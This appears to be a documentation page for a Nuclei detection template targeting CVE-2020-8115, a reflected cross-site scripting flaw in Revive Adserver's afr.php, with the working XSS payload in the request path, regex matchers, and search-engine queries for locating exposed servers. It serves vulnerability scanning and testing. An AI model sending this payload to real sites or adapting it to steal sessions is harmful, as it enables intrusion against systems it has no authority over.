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Revive Adserver <=5.0.3 - Cross-Site Scripting

ID: CVE-2020-8115

Severity: medium

Author: madrobot,dwisiswant0

Tags: cve,cve2020,xss,hackerone,revive-adserver

Description

Section titled “Description”

Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.

YAML Source

Section titled “YAML Source”
id: CVE-2020-8115


info:
  name: Revive Adserver <=5.0.3 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: |
    Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
  reference:
    - https://hackerone.com/reports/775693
    - https://www.revive-adserver.com/security/revive-sa-2020-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8115
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8115
    cwe-id: CWE-79
    epss-score: 0.0187
    epss-percentile: 0.88393
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: revive-adserver
    product: revive_adserver
    shodan-query:
      - http.title:"revive adserver"
      - http.favicon.hash:106844876
    fofa-query:
      - icon_hash=106844876
      - title="revive adserver"
    google-query: intitle:"revive adserver"
  tags: cve,cve2020,xss,hackerone,revive-adserver


http:
  - method: GET
    path:
      - "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)window\.location\.replace\(".*alert\(1337\)


      - type: word
        part: body
        words:
          - window.location.href.indexOf
        negative: true


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210091d11a130c95bbc974aa2456864400589d321ba1fece4af2f94e24365a02a02b022100a044bac1a3f74c46b161f1f1db5d5619a5d125ed32fe784b6345bde8cd6a8bc6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8115.yaml"

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